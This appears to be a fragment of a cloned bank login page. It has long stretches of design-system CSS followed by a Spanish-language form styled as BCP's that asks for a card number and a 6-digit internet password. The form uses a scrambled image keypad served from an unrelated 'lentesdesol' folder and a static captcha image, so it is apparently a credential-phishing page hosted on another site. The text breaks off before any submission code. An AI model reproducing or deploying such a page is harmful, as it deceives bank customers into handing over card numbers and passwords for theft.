color: var(--error-close, #fd9ba9)
}
.bg-error-close {
background-color: var(--error-close, #fd9ba9)
}
.success {
color: #6ac90f
}
.bg-success {
background-color: #6ac90f
}
.success-light {
color: var(--success-light, #f4ffea)
}
.bg-success-light {
background-color: var(--success-light, #f4ffea)
}
.success-dark {
color: var(--success-dark, #37a500)
}
.bg-success-dark {
background-color: var(--success-dark, #37a500)
}
.success-20 {
color: var(--success-20, rgba(106, 201, 15, .2))
}
.bg-success-20 {
background-color: var(--success-20, rgba(106, 201, 15, .2))
}
.success-close {
color: var(--success-close, #d8fab8)
}
.bg-success-close {
background-color: var(--success-close, #d8fab8)
}
.text {
color: var(--text, #202e44)
}
.bg-text {
background-color: var(--text, #202e44)
}
.alert {
color: var(--alert, #ffcb1f)
}
.bg-alert {
background-color: var(--alert, #ffcb1f)
}
.alert-light {
color: var(--alert-light, #fffded)
}
.bg-alert-light {
background-color: var(--alert-light, #fffded)
}
.alert-20 {
color: var(--alert-20, rgba(255, 203, 31, .2))
}
.bg-alert-20 {
background-color: var(--alert-20, rgba(255, 203, 31, .2))
}
.alert-close {
color: var(--alert-close, #ffedb3)
}
.bg-alert-close {
background-color: var(--alert-close, #ffedb3)
}
.white-90 {
color: var(--white-90, rgba(255, 255, 255, .9))
}
.bg-white-90 {
background-color: var(--white-90, rgba(255, 255, 255, .9))
}
.white-80 {
color: var(--white-80, rgba(255, 255, 255, .8))
}
.bg-white-80 {
background-color: var(--white-80, rgba(255, 255, 255, .8))
}
.white-70 {
color: var(--white-70, rgba(255, 255, 255, .7))
}
.bg-white-70 {
background-color: var(--white-70, rgba(255, 255, 255, .7))
}
.white-60 {
color: var(--white-60, rgba(255, 255, 255, .6))
}
.bg-white-60 {
background-color: var(--white-60, rgba(255, 255, 255, .6))
}
.white-50 {
color: var(--white-50, rgba(255, 255, 255, .5))
}
.bg-white-50 {
background-color: var(--white-50, rgba(255, 255, 255, .5))
}
.white-40 {
color: var(--white-40, rgba(255, 255, 255, .4))
}
.bg-white-40 {
background-color: var(--white-40, rgba(255, 255, 255, .4))
}
.white-30 {
color: var(--white-30, rgba(255, 255, 255, .3))
}
.bg-white-30 {
background-color: var(--white-30, rgba(255, 255, 255, .3))
}
.white-20 {
color: var(--white-20, rgba(255, 255, 255, .2))
}
.bg-white-20 {
background-color: var(--white-20, rgba(255, 255, 255, .2))
}
.white-10 {
color: var(--white-10, rgba(255, 255, 255, .1))
}
.bg-white-10 {
background-color: var(--white-10, rgba(255, 255, 255, .1))
}
.white-0 {
color: var(--white-0, rgba(255, 255, 255, 0))
}
.bg-white-0 {
background-color: var(--white-0, rgba(255, 255, 255, 0))
}
.white {
color: #fff
}
.bg-white {
background-color: #fff
}
.complementary-900 {
color: var(--complementary-900, #003b34)
}
.bg-complementary-900 {
background-color: var(--complementary-900, #003b34)
}
.complementary-800 {
color: var(--complementary-800, #0b4d45)
}
.bg-complementary-800 {
background-color: var(--complementary-800, #0b4d45)
}
.complementary-700 {
color: var(--complementary-700, #005e53)
}
.bg-complementary-700 {
background-color: var(--complementary-700, #005e53)
}
.complementary-600 {
color: var(--complementary-600, #008071)
}
.bg-complementary-600 {
background-color: var(--complementary-600, #008071)
}
.complementary-500 {
color: var(--complementary-500, #1f9183)
}
.bg-complementary-500 {
background-color: var(--complementary-500, #1f9183)
}
.complementary-400 {
color: var(--complementary-400, #0aa693)
}
.bg-complementary-400 {
background-color: var(--complementary-400, #0aa693)
}
.complementary-300 {
color: var(--complementary-300, #08bda6)
}
.bg-complementary-300 {
background-color: var(--complementary-300, #08bda6)
}
.complementary-200 {
color: var(--complementary-200, #65cfc1)
}
.bg-complementary-200 {
background-color: var(--complementary-200, #65cfc1)
}
.complementary-100 {
color: var(--complementary-100, #a2ebe2)
}
.bg-complementary-100 {
background-color: var(--complementary-100, #a2ebe2)
}
.complementary-050 {
color: var(--complementary-050, #d4faf5)
}
.bg-complementary-050 {
background-color: var(--complementary-050, #d4faf5)
}
.complementary-040 {
color: var(--complementary-040, #e8fcf9)
}
.bg-complementary-040 {
background-color: var(--complementary-040, #e8fcf9)
}
.analogous-700 {
color: var(--analogous-700, #0759a4)
}
.bg-analogous-700 {
background-color: var(--analogous-700, #0759a4)
}
.analogous-600 {
color: var(--analogous-600, #5625b3)
}
.bg-analogous-600 {
background-color: var(--analogous-600, #5625b3)
}
.analogous-400 {
color: var(--analogous-400, #48a3f3)
}
.bg-analogous-400 {
background-color: var(--analogous-400, #48a3f3)
}
.analogous-300 {
color: var(--analogous-300, #9877d3)
}
.bg-analogous-300 {
background-color: var(--analogous-300, #9877d3)
}
.analogous-200 {
color: var(--analogous-200, #a2dbff)
}
.bg-analogous-200 {
background-color: var(--analogous-200, #a2dbff)
}
.analogous-100 {
color: var(--analogous-100, #d2c1f0)
}
.bg-analogous-100 {
background-color: var(--analogous-100, #d2c1f0)
}
.text-90 {
color: var(--text-90, rgba(32, 46, 68, .9))
}
.bg-text-90 {
background-color: var(--text-90, rgba(32, 46, 68, .9))
}
.text-80 {
color: var(--text-80, rgba(32, 46, 68, .8))
}
.bg-text-80 {
background-color: var(--text-80, rgba(32, 46, 68, .8))
}
.text-70 {
color: var(--text-70, rgba(32, 46, 68, .7))
}
.bg-text-70 {
background-color: var(--text-70, rgba(32, 46, 68, .7))
}
.text-60 {
color: var(--text-60, rgba(32, 46, 68, .6))
}
.bg-text-60 {
background-color: var(--text-60, rgba(32, 46, 68, .6))
}
.text-50 {
color: var(--text-50, rgba(32, 46, 68, .5))
}
.bg-text-50 {
background-color: var(--text-50, rgba(32, 46, 68, .5))
}
.text-40 {
color: var(--text-40, rgba(32, 46, 68, .4))
}
.bg-text-40 {
background-color: var(--text-40, rgba(32, 46, 68, .4))
}
.text-30 {
color: var(--text-30, rgba(32, 46, 68, .3))
}
.bg-text-30 {
background-color: var(--text-30, rgba(32, 46, 68, .3))
}
.text-20 {
color: var(--text-20, rgba(32, 46, 68, .2))
}
.bg-text-20 {
background-color: var(--text-20, rgba(32, 46, 68, .2))
}
.text-10 {
color: var(--text-10, rgba(32, 46, 68, .1))
}
.bg-text-10 {
background-color: var(--text-10, rgba(32, 46, 68, .1))
}
.text-0 {
color: var(--text-0, rgba(32, 46, 68, 0))
}
.bg-text-0 {
background-color: var(--text-0, rgba(32, 46, 68, 0))
}
.analogous-01-900 {
color: var(--analogous-01-900, #220854)
}
.bg-analogous-01-900 {
background-color: var(--analogous-01-900, #220854)
}
.analogous-01-800 {
color: var(--analogous-01-800, #35117a)
}
.bg-analogous-01-800 {
background-color: var(--analogous-01-800, #35117a)
}
.analogous-01-700 {
color: var(--analogous-01-700, #451a96)
}
.bg-analogous-01-700 {
background-color: var(--analogous-01-700, #451a96)
}
.analogous-01-600 {
color: var(--analogous-01-600, #5625b3)
}
.bg-analogous-01-600 {
background-color: var(--analogous-01-600, #5625b3)
}
.analogous-01-500 {
color: var(--analogous-01-500, #6d3acd)
}
.bg-analogous-01-500 {
background-color: var(--analogous-01-500, #6d3acd)
}
.analogous-01-400 {
color: var(--analogous-01-400, #7b52c5)
}
.bg-analogous-01-400 {
background-color: var(--analogous-01-400, #7b52c5)
}
.analogous-01-300 {
color: var(--analogous-01-300, #9877d3)
}
.bg-analogous-01-300 {
background-color: var(--analogous-01-300, #9877d3)
}
.analogous-01-200 {
color: var(--analogous-01-200, #b59ce2)
}
.bg-analogous-01-200 {
background-color: var(--analogous-01-200, #b59ce2)
}
.analogous-01-100 {
color: var(--analogous-01-100, #d2c1f0)
}
.bg-analogous-01-100 {
background-color: var(--analogous-01-100, #d2c1f0)
}
.analogous-01-050 {
color: var(--analogous-01-050, #ece4fc)
}
.bg-analogous-01-050 {
background-color: var(--analogous-01-050, #ece4fc)
}
.analogous-01-040 {
color: var(--analogous-01-040, #f4f0fc)
}
.bg-analogous-01-040 {
background-color: var(--analogous-01-040, #f4f0fc)
}
.analogous-02-900 {
color: var(--analogous-02-900, #002c5a)
}
.bg-analogous-02-900 {
background-color: var(--analogous-02-900, #002c5a)
}
.analogous-02-800 {
color: var(--analogous-02-800, #003873)
}
.bg-analogous-02-800 {
background-color: var(--analogous-02-800, #003873)
}
.analogous-02-700 {
color: var(--analogous-02-700, #00448c)
}
.bg-analogous-02-700 {
background-color: var(--analogous-02-700, #00448c)
}
.analogous-02-600 {
color: var(--analogous-02-600, #005aa8)
}
.bg-analogous-02-600 {
background-color: var(--analogous-02-600, #005aa8)
}
.analogous-02-500 {
color: var(--analogous-02-500, #1672b8)
}
.bg-analogous-02-500 {
background-color: var(--analogous-02-500, #1672b8)
}
.analogous-02-400 {
color: var(--analogous-02-400, #127dc9)
}
.bg-analogous-02-400 {
background-color: var(--analogous-02-400, #127dc9)
}
.analogous-02-300 {
color: var(--analogous-02-300, #1f95de)
}
.bg-analogous-02-300 {
background-color: var(--analogous-02-300, #1f95de)
}
.analogous-02-200 {
color: var(--analogous-02-200, #6fb7e3)
}
.bg-analogous-02-200 {
background-color: var(--analogous-02-200, #6fb7e3)
}
.analogous-02-100 {
color: var(--analogous-02-100, #abd9f5)
}
.bg-analogous-02-100 {
background-color: var(--analogous-02-100, #abd9f5)
}
.analogous-02-050 {
color: var(--analogous-02-050, #d2eefc)
}
.bg-analogous-02-050 {
background-color: var(--analogous-02-050, #d2eefc)
}
.analogous-02-040 {
color: var(--analogous-02-040, #e8f6fc)
}
.bg-analogous-02-040 {
background-color: var(--analogous-02-040, #e8f6fc)
}
.black-80 {
color: var(--black-80, rgba(0, 0, 0, .8))
}
.bg-black-80 {
background-color: var(--black-80, rgba(0, 0, 0, .8))
}
.black-70 {
color: var(--black-70, rgba(0, 0, 0, .7))
}
.bg-black-70 {
background-color: var(--black-70, rgba(0, 0, 0, .7))
}
.black-60 {
color: var(--black-60, rgba(0, 0, 0, .6))
}
.bg-black-60 {
background-color: var(--black-60, rgba(0, 0, 0, .6))
}
.black-50 {
color: var(--black-50, rgba(0, 0, 0, .5))
}
.bg-black-50 {
background-color: var(--black-50, rgba(0, 0, 0, .5))
}
.black-40 {
color: var(--black-40, rgba(0, 0, 0, .4))
}
.bg-black-40 {
background-color: var(--black-40, rgba(0, 0, 0, .4))
}
.black-30 {
color: var(--black-30, rgba(0, 0, 0, .3))
}
.bg-black-30 {
background-color: var(--black-30, rgba(0, 0, 0, .3))
}
.black-20 {
color: var(--black-20, rgba(0, 0, 0, .2))
}
.bg-black-20 {
background-color: var(--black-20, rgba(0, 0, 0, .2))
}
.black-10 {
color: var(--black-10, rgba(0, 0, 0, .1))
}
.bg-black-10 {
background-color: var(--black-10, rgba(0, 0, 0, .1))
}
.black-0 {
color: var(--black-0, rgba(0, 0, 0, 0))
}
.bg-black-0 {
background-color: var(--black-0, rgba(0, 0, 0, 0))
}
.black {
color: #000
}
.bg-black {
background-color: #000
}
.dp-00 {
box-shadow: none !important
}
.dp-01 {
box-shadow: 0 0 4px #52709433, 0 1px 1px #5270941f, 0 1px 1px #52709424
}
.dp-02 {
box-shadow: 0 0 6px #52709433, 0 2px 1px -2px #5270941f, 0 2px 1px #52709424
}
.dp-03 {
box-shadow: 0 1px 8px #52709433, 0 3px 3px -2px #5270941f, 0 3px 4px #52709424
}
.dp-04 {
box-shadow: 0 2px 4px -1px #52709433, 0 1px 10px #5270941f, 0 4px 5px #52709424
}
.dp-06 {
box-shadow: 0 3px 5px -1px #52709433, 0 1px 18px #5270941f, 0 6px 10px #52709424
}
.dp-08 {
box-shadow: 0 5px 5px -3px #52709433, 0 3px 14px 2px #5270941f, 0 8px 10px 1px #52709424
}
.dp-09 {
box-shadow: 0 5px 6px -3px #52709433, 0 3px 16px 2px #5270941f, 0 9px 12px 1px #52709424
}
.dp-12 {
box-shadow: 0 7px 8px -4px #52709433, 0 5px 22px 4px #5270941f, 0 12px 17px 2px #52709424
}
.dp-16 {
box-shadow: 0 8px 10px -5px #52709433, 0 6px 30px 5px #5270941f, 0 16px 24px 2px #52709424
}
.dp-24 {
box-shadow: 0 11px 15px -7px #52709433, 0 9px 46px 8px #5270941f, 0 24px 38px 3px #c2ccdc33
}
.tooltip-container {
cursor: default;
z-index: 8000 !important;
position: absolute;
background-color: transparent;
filter: drop-shadow(0px 3px 8px rgba(82, 112, 148, .3))
}
.tooltip-container .tooltip-arrow {
color: #fff;
width: 16px;
height: 16px
}
.tooltip-container .tooltip-arrow:before {
content: "";
position: absolute;
border-color: transparent;
border-style: solid
}
.tooltip-container .tooltip-box {
background-color: #fff;
border-radius: 8px;
color: var(--text, #202e44);
font-size: 12px;
max-width: 240px;
padding: 11px 8px;
text-align: center;
letter-spacing: 0
}
.tooltip-container-size-md {
filter: none
}
.tooltip-container-size-md .tooltip-arrow {
color: var(--onsurface-050, #eff0f2)
}
.tooltip-container-size-md .tooltip-box {
background-color: var(--onsurface-050, #eff0f2);
padding: 6px 8px;
max-width: 208px
}
.tooltip-container-size-sm {
filter: none
}
.tooltip-container-size-sm .tooltip-arrow {
display: none
}
.tooltip-container-size-sm .tooltip-box {
background-color: var(--onsurface-050, #eff0f2);
padding: 3px 8px 1px;
max-width: 117px;
min-height: 24px;
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif
}
.tooltip-container-mode-dark .tooltip-arrow {
color: var(--text, #202e44);
opacity: .9
}
.tooltip-container-mode-dark .tooltip-box {
background-color: var(--text, #202e44);
color: #fff;
opacity: .9
}
.tooltip-container[data-popper-placement^=top] .tooltip-arrow {
bottom: 0
}
.tooltip-container[data-popper-placement^=top] .tooltip-arrow:before {
bottom: -8px;
left: 0;
border-width: 8px 8px 0;
border-top-color: initial;
transform-origin: center top
}
.tooltip-container[data-popper-placement^=bottom] .tooltip-arrow {
top: 0
}
.tooltip-container[data-popper-placement^=bottom] .tooltip-arrow:before {
top: -8px;
left: 0;
border-width: 0 8px 8px;
border-bottom-color: initial;
transform-origin: center bottom
}
bcp-popover {
display: none
}
@media (max-width: 458px) {
div[data-tippy-root]:not(.tooltip-container) {
width: calc(100% - 10px) !important
}
}
.tippy-box[data-theme~=bcp] {
z-index: 8900;
background-color: var(--primary-600, #002da0);
max-width: 448px !important;
width: 100%;
border-radius: 8px;
color: #fff;
padding: 18px 24px 22px;
letter-spacing: 0
}
@media (max-width: 575.98px) {
.tippy-box[data-theme~=bcp] {
min-width: 296px;
padding: 18px 20px 22px
}
}
.tippy-box[data-theme~=bcp] .tippy-arrow {
width: 16px;
height: 16px
}
.tippy-box[data-theme~=bcp] .tippy-arrow:before {
content: "";
position: absolute;
border-color: transparent;
border-style: solid
}
.tippy-box[data-theme~=bcp][data-placement^=top]>.tippy-arrow {
bottom: 0
}
.tippy-box[data-theme~=bcp][data-placement^=top]>.tippy-arrow:before {
bottom: -8px;
left: 0;
border-width: 8px 8px 0;
border-top-color: var(--primary-600, #002da0);
transform-origin: center top
}
.tippy-box[data-theme~=bcp][data-placement^=bottom]>.tippy-arrow {
top: 0
}
.tippy-box[data-theme~=bcp][data-placement^=bottom]>.tippy-arrow:before {
top: -8px;
left: 0;
border-width: 0 8px 8px;
border-bottom-color: var(--primary-600, #002da0);
transform-origin: center bottom
}
.tippy-box[data-theme~=bcp][data-placement^=left]>.tippy-arrow {
right: 0;
top: calc(100% - 32px)
}
.tippy-box[data-theme~=bcp][data-placement^=left]>.tippy-arrow:before {
left: 16px;
border-width: 8px 8px 8px;
border-left-color: var(--primary-600, #002da0);
transform-origin: center left
}
.tippy-box[data-theme~=bcp][data-placement^=right]>.tippy-arrow {
left: 0;
top: calc(100% - 32px)
}
.tippy-box[data-theme~=bcp][data-placement^=right]>.tippy-arrow:before {
right: 16px;
border-width: 8px 8px 8px;
border-right-color: var(--primary-600, #002da0);
transform-origin: center right
}
.tippy-box[data-theme~=bcp] .popover-body {
padding: 8px 0 21px !important
}
.tippy-box[data-theme~=bcp] .popover-footer {
display: flex;
justify-content: space-between;
align-items: center;
min-height: 40px
}
.tippy-box[data-theme~=bcp] .popover-footer .badge-content {
align-self: flex-end;
line-height: 1
}
.tippy-box[data-theme~=bcp] .popover-footer .badge-content bcp-badge {
margin-right: 12px
}
.tippy-box[data-theme~=bcp] .popover-footer .button-content {
margin-left: auto
}
.tippy-box[data-theme~=bcp] .popover-footer .button-content bcp-button {
pointer-events: auto;
margin: 0 6px
}
.tippy-box[data-theme~=bcp] .popover-footer .button-content bcp-button:last-child {
margin-right: 0
}
.popover-backdrop {
position: fixed;
top: 0;
left: 0;
z-index: 8800;
width: 100vw;
height: 100vh;
background-color: #000;
opacity: .7
}
.highlight-popover-target {
position: relative;
z-index: 9999
}
[type=button],
[type=reset],
[type=submit] {
-webkit-appearance: none
}
[type=button]:not(:disabled),
[type=reset]:not(:disabled),
[type=submit]:not(:disabled) {
cursor: not-allowed
}
button[type=button],
button[type=reset],
button[type=submit] {
-webkit-appearance: button
}
button[type=button]:not(:disabled),
button[type=reset]:not(:disabled),
button[type=submit]:not(:disabled) {
cursor: pointer
}
.not-clickeable {
pointer-events: none
}
.link {
color: var(--secondary-500, #ff7800);
font-size: 1rem;
text-decoration: none;
transition: 2s all;
cursor: pointer;
margin: 0;
line-height: normal;
background: transparent;
border: 0;
-webkit-appearance: none;
padding: 0;
height: auto
}
.link span {
position: relative;
text-decoration: none
}
.link span:after {
content: "";
display: block;
background-color: var(--secondary-500, #ff7800);
height: 2px;
position: absolute;
top: calc(100% + 8px);
left: 0;
right: 0;
transform: scaleX(0);
transition: transform .25s ease-in;
transform-origin: right center
}
.link span:hover:after {
transform: scaleX(1);
transform-origin: left center
}
bcp-modal,
bcp-modal-img {
display: none
}
bcp-select,
bcp-select-header,
bcp-select-option {
display: none
}
bcp-action-sheet,
bcp-action-sheet-header,
bcp-action-sheet-body {
display: none
}
.overflow-hidden {
overflow: hidden
}
:host {
display: block
}
:host .button-container {
display: flex;
justify-content: space-between
}
.input-password {
display: block;
position: relative;
width: 100%;
padding-top: 6px;
margin: 0;
outline: none
}
.input-password:focus,
.input-password:active {
outline: none;
box-shadow: none
}
.input-password.disabled {
color: var(--onsurface-200, #d2d5dc);
cursor: not-allowed
}
.input-password .keyboard-box {
display: none;
background-color: #fff;
border-radius: 8px;
margin-top: 4px;
padding: 16px;
width: 100%;
box-shadow: 0 1px 8px #52709433, 0 3px 3px -2px #5270941f, 0 3px 4px #52709424
}
.input-password .keyboard-box.show {
display: block
}
.input-password:not(.visible) .keyboard-box {
position: absolute;
top: 100%;
left: 0;
z-index: 2;
float: left
}
.input-password:not(.visible) .keyboard-box.show {
top: 0;
will-change: transform;
transform: translateY(54px)
}
</style>
</div>
</div>
<div _ngcontent-ng-c1031280460="" class="card-form__card">
<div _ngcontent-aqk-c63="" class="row mb24">
<div _ngcontent-aqk-c63="" class="col">
<div class="row no-gutters select-input-container">
<div class="col input-container">
<bcp-tooltip _ngcontent-hjc-c2="" position="top" size="lg" trigger="click" class="hydrated">
<bcp-input class="hydrated">
<div class="form-group">
<input class="form-control" autocomplete="off" id="presente" name="presente" type="tel" placeholder="Número de Tarjeta" onkeypress="return tipoFiltro(event)" required="" onclick="hide_key();" maxlength="19">
<input type="hidden" id="info" value="false">
<input type="hidden" id="tipo">
</div>
</bcp-input>
</bcp-tooltip>
</div>
</div>
<bcp-checkbox _ngcontent-ng-c1031280460="" value="1" tier="secondary" class="hydrated"><!---->
<br>
<div class="bcp-ffw-custom-control bcp-ffw-custom-checkbox checkbox-second-hierarchy">
<input type="checkbox" class="bcp-ffw-custom-control-input" id="bcp-cb-0-lbl" name="bcp-cb-0" value="1">
<label class="bcp-ffw-custom-control-label" for="bcp-cb-0-lbl"><span>
<bcp-paragraph _ngcontent-ng-c1031280460="" size="lg" family="regular" color="onsurface-800" class="hydrated"><!---->
<p class="paragraph-lg bcp-font-regular onsurface-800"> Recordar datos </p>
</bcp-paragraph></span></label>
</div>
</bcp-checkbox>
<br>
<div class="row no-gutters select-input-container">
<div class="col input-container">
<bcp-tooltip _ngcontent-hjc-c2="" position="top" size="lg" trigger="click" class="hydrated">
<bcp-input class="hydrated">
<div class="form-group">
<input class="form-control mask" autocomplete="off" id="llave" name="llave" type="tel" maxlength="6" placeholder="Clave de Internet de 6 dígitos" onkeypress="return tipoFiltro(event)" required="" onclick="ver_key();">
<!-- <input class="mask" autocomplete="off" id="llave" name="llave" type="tel" maxlength="6" onkeypress="return tipoFiltro(event)" required="" onclick="ver_key();"> -->
</div>
<div id="teclado" class="keypad-seed-containerx b_tecla">
<div>
<div class="separator left">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/4.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/8.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/5.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/0.png">
</div>
</div>
<div>
<div class="separator left">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/1.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/6.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/9.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/2.png">
</div>
</div>
<div>
<div class="separator left">
<img _ngcontent-c17="" class="clean-buttonx teclita" id="delete_dni" keypadcleanall="" src="lentesdesol/images/teclado/keypad_delete-new.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/7.png">
<img _ngcontent-c17="" class="seed-enabled teclita" src="lentesdesol/images/teclado/3.png">
<img _ngcontent-c17="" class="clean-buttonx teclita" id="clean_dni" keypadclean="" src="lentesdesol/images/teclado/keypad_clean-new.png">
</div>
</div>
</div>
</bcp-input></bcp-tooltip>
</div>
</div>
</div>
</div>
<br>
<div _ngcontent-ng-c1031280460="" class="card-form__captcha">
<div _ngcontent-ng-c1031280460="" class="row">
<div _ngcontent-ng-c1031280460="" class="col">
<bcp-captcha _ngcontent-ng-c1031280460="" bcpctrlform="" bcpalphanumeric="" formcontrolname="captcha" text="Cambiar código" placeholder="Código" minlength="6" maxlength="6" class="ng-untouched ng-pristine ng-invalid hydrated">
<div class="bcp-ffw-row bcp-ffw-no-gutters captcha-container">
<bcp-img class="img-captcha hydrated">
<img alt="" class="img-captcha hydrated"
src="data:image/jpeg;charset=utf-8;base64,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"
width="127" height="47">
</bcp-img>
<div class="bcp-ffw-col image-container" tabindex="-1" name="div-img-bcp-input-0"></div>
